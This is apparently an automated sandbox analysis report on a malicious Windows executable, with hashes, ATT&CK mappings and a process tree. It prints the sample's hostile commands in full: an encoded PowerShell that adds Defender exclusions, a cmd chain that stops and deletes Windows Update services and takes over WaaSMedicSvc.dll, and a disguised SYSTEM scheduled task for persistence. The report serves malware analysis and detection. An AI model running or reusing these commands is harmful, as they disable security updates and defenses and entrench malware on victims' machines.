a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301

General

Target

a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe
Size

7.6MB
MD5

95104aa61ed30687c13e5c644d5722f3
SHA1

f9788f808044d448f73203d93da0021cefb781ff
SHA256

a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301
SHA512

99dcd2463ad6c56eaeedbdd96c8ff0564aadb27b14f0ce047397e8791f1d886d07d104d76908e2ed7e3918c35ca52e643c1d02ed8bde16c76d18dc40b9b66bce

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

1340 takeown.exe
1100 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

1340 takeown.exe
1100 icacls.exe

pid	process
1340	takeown.exe
1100	icacls.exe

pid	process
1340	takeown.exe
1100	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Program Files directory 2 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Program Files\Windows\services.exe	conhost.exe
File opened for modification	C:\Program Files\Windows\services.exe	conhost.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1316 schtasks.exe
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

664 reg.exe
1508 reg.exe
1528 reg.exe
1040 reg.exe
1140 reg.exe
300 reg.exe
1636 reg.exe
1992 reg.exe
1476 reg.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.execonhost.exe

pid process

1136 powershell.exe
1152 conhost.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.execonhost.exetakeown.exe

description pid process

Token: SeDebugPrivilege 1136 powershell.exe
Token: SeDebugPrivilege 1152 conhost.exe
Token: SeTakeOwnershipPrivilege 1340 takeown.exe

pid	process
1316	schtasks.exe

pid	process
664	reg.exe
1508	reg.exe
1528	reg.exe
1040	reg.exe
1140	reg.exe
300	reg.exe
1636	reg.exe
1992	reg.exe
1476	reg.exe

pid	process
1136	powershell.exe
1152	conhost.exe

description	pid	process
Token: SeDebugPrivilege	1136	powershell.exe
Token: SeDebugPrivilege	1152	conhost.exe
Token: SeTakeOwnershipPrivilege	1340	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.execonhost.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1236 wrote to memory of 1152	1236	a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe	conhost.exe
PID 1236 wrote to memory of 1152	1236	a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe	conhost.exe
PID 1236 wrote to memory of 1152	1236	a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe	conhost.exe
PID 1236 wrote to memory of 1152	1236	a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe	conhost.exe
PID 1152 wrote to memory of 1304	1152	conhost.exe	cmd.exe
PID 1152 wrote to memory of 1304	1152	conhost.exe	cmd.exe
PID 1152 wrote to memory of 1304	1152	conhost.exe	cmd.exe
PID 1304 wrote to memory of 1136	1304	cmd.exe	powershell.exe
PID 1304 wrote to memory of 1136	1304	cmd.exe	powershell.exe
PID 1304 wrote to memory of 1136	1304	cmd.exe	powershell.exe
PID 1152 wrote to memory of 1740	1152	conhost.exe	cmd.exe
PID 1152 wrote to memory of 1740	1152	conhost.exe	cmd.exe
PID 1152 wrote to memory of 1740	1152	conhost.exe	cmd.exe
PID 1740 wrote to memory of 364	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 364	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 364	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 1784	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 1784	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 1784	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 108	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 108	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 108	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 1588	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 1588	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 1588	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 1536	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 1536	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 1536	1740	cmd.exe	sc.exe
PID 1740 wrote to memory of 300	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 300	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 300	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 664	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 664	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 664	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1636	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1636	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1636	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1508	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1508	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1508	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1992	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1992	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1992	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1340	1740	cmd.exe	takeown.exe
PID 1740 wrote to memory of 1340	1740	cmd.exe	takeown.exe
PID 1740 wrote to memory of 1340	1740	cmd.exe	takeown.exe
PID 1740 wrote to memory of 1100	1740	cmd.exe	icacls.exe
PID 1740 wrote to memory of 1100	1740	cmd.exe	icacls.exe
PID 1740 wrote to memory of 1100	1740	cmd.exe	icacls.exe
PID 1152 wrote to memory of 1656	1152	conhost.exe	cmd.exe
PID 1152 wrote to memory of 1656	1152	conhost.exe	cmd.exe
PID 1152 wrote to memory of 1656	1152	conhost.exe	cmd.exe
PID 1656 wrote to memory of 1316	1656	cmd.exe	schtasks.exe
PID 1656 wrote to memory of 1316	1656	cmd.exe	schtasks.exe
PID 1656 wrote to memory of 1316	1656	cmd.exe	schtasks.exe
PID 1740 wrote to memory of 1476	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1476	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1476	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1528	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1528	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1528	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1140	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1140	1740	cmd.exe	reg.exe
PID 1740 wrote to memory of 1140	1740	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe
"C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1236

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\a4b172b6d8cea90214cccec4a531c881b5bad6b641370e838a09422a183f7301.exe"
2⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1152

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"
3⤵
- Suspicious use of WriteProcessMemory
PID:1304

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAGUAYQB1AGMAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBkAGgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQByAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBqAGYAYQAjAD4A"
4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1136

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:1740

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
PID:364

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
PID:1784

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
PID:108

C:\Windows\system32\sc.exe
sc stop bits
4⤵
PID:1588

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
PID:1536

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:300

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:664

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:1636

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:1508

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:1992

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1340

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1100

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1476

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1528

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1140

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1040

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:1404

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:948

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:1780

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:1596

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:1652

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:1504

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:1808

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:1656

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Program Files\Windows\services.exe"
4⤵
- Creates scheduled task(s)
PID:1316

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
3⤵
PID:2016

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
4⤵
PID:944

C:\Windows\system32\taskeng.exe
taskeng.exe {5938C49D-6BFA-47E1-8DA7-948EAE7E0A48} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1548

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

2

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

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Downloads

memory/108-70-0x0000000000000000-mapping.dmp

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memory/300-73-0x0000000000000000-mapping.dmp

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memory/364-68-0x0000000000000000-mapping.dmp

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memory/664-74-0x0000000000000000-mapping.dmp

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memory/944-94-0x0000000000000000-mapping.dmp

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memory/948-87-0x0000000000000000-mapping.dmp

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memory/1040-85-0x0000000000000000-mapping.dmp

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memory/1100-79-0x0000000000000000-mapping.dmp

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memory/1136-63-0x000007FEEE9C0000-0x000007FEEF51D000-memory.dmp

Filesize
11.4MB

Download
memory/1136-66-0x000000000289B000-0x00000000028BA000-memory.dmp

Filesize
124KB

Download
memory/1136-64-0x000000001B750000-0x000000001BA4F000-memory.dmp

Filesize
3.0MB

Download
memory/1136-65-0x0000000002894000-0x0000000002897000-memory.dmp

Filesize
12KB

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memory/1136-60-0x0000000000000000-mapping.dmp

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memory/1140-84-0x0000000000000000-mapping.dmp

Download
memory/1152-56-0x000000001B860000-0x000000001BC7C000-memory.dmp

Filesize
4.1MB

Download
memory/1152-58-0x000007FEFB671000-0x000007FEFB673000-memory.dmp

Filesize
8KB

Download
memory/1152-57-0x0000000000250000-0x000000000066C000-memory.dmp

Filesize
4.1MB

Download
memory/1236-54-0x0000000000400000-0x0000000001119000-memory.dmp

Filesize
13.1MB

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memory/1304-59-0x0000000000000000-mapping.dmp

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memory/1316-81-0x0000000000000000-mapping.dmp

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memory/1340-78-0x0000000000000000-mapping.dmp

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memory/1404-86-0x0000000000000000-mapping.dmp

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memory/1476-82-0x0000000000000000-mapping.dmp

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memory/1504-91-0x0000000000000000-mapping.dmp

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memory/1508-76-0x0000000000000000-mapping.dmp

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memory/1528-83-0x0000000000000000-mapping.dmp

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memory/1536-72-0x0000000000000000-mapping.dmp

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memory/1588-71-0x0000000000000000-mapping.dmp

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memory/1596-89-0x0000000000000000-mapping.dmp

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memory/1636-75-0x0000000000000000-mapping.dmp

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memory/1652-90-0x0000000000000000-mapping.dmp

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memory/1656-80-0x0000000000000000-mapping.dmp

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memory/1740-67-0x0000000000000000-mapping.dmp

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memory/1780-88-0x0000000000000000-mapping.dmp

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memory/1784-69-0x0000000000000000-mapping.dmp

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memory/1808-92-0x0000000000000000-mapping.dmp

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memory/1992-77-0x0000000000000000-mapping.dmp

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memory/2016-93-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads